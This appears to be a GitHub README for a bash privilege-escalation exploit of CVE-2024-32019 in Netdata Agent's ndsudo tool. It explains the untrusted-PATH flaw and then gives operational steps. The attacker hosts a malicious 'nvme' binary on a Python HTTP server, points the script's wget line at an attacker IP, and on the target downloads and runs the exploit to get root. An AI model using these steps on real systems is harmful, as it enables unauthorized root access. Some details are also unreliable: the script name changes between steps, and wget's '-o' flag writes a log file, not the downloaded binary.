justjoeyking/cve-2024-32019-ndsudoBash-based privilege escalation exploit for CVE-2024-32019 in Netdata Agent's ndsudo tool, leveraging untrusted PATH search to execute arbitrary binaries with root permissions.
The ndsudo vulnerability allows an attacker to gain root permissions by exploiting an untrusted search path in the ndsudo tool, which is part of the Netdata Agent. This can enable the execution of arbitrary programs with elevated privileges if the attacker places a malicious binary in a writable directory and modifies the PATH environment variable accordingly.
The ndsudo vulnerability, identified as CVE-2024-32019, affects versions of the ndsudo tool included with the Netdata Agent, specifically versions v1.45.0 and below. This vulnerability allows attackers to escalate privileges on systems where the tool is installed.
How the Vulnerability Works:
Mechanism of Exploitation:-
Untrusted Search Path: The ndsudo tool uses the PATH environment variable to locate external commands. An attacker can manipulate this variable to point to a directory they control.
Execution of Malicious Binaries: By placing a malicious executable with the same name as a command that ndsudo is
allowed to run (e.g., nvme) in a writable directory, the attacker can execute arbitrary code with root permissions.
Attack Complexity:-
Low Complexity: The attack does not require advanced skills, an easily crafted bash script can be used for priviesc making it accessible to many potential attackers.
Impact of the Vulnerability:-
Privilege Escalation: Successful exploitation allows an attacker to gain root access, which can lead to full control over the affected system.
Potential Risks: This can result in unauthorized data access, system manipulation, and further exploitation of network resources.
PRIVILEGE ESCALATION I have created two bash scripts for easily gaining access from user to root. Follow the steps as mentioned below :-
git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git
cd CVE-2024-32019-ndsudo
chmod +x ndsudo_exp.sh
Now create python server :
python3 -m http.server 8080
Open ndsudo_exploit.sh file using gedit or pluma whichever available. you will be able to see the wget command like this :
wget http://10.10.14.70:8080/nvme -o /tmp/nvme
Change the ip-address to your own machine ip
Now go to target machine, open terminal and do the following:
wget http://<your-ip-addr>:8080/ndsudo_exploit.sh
chmod +x ndsudo_exploit.sh
./ndsudo_exploit.sh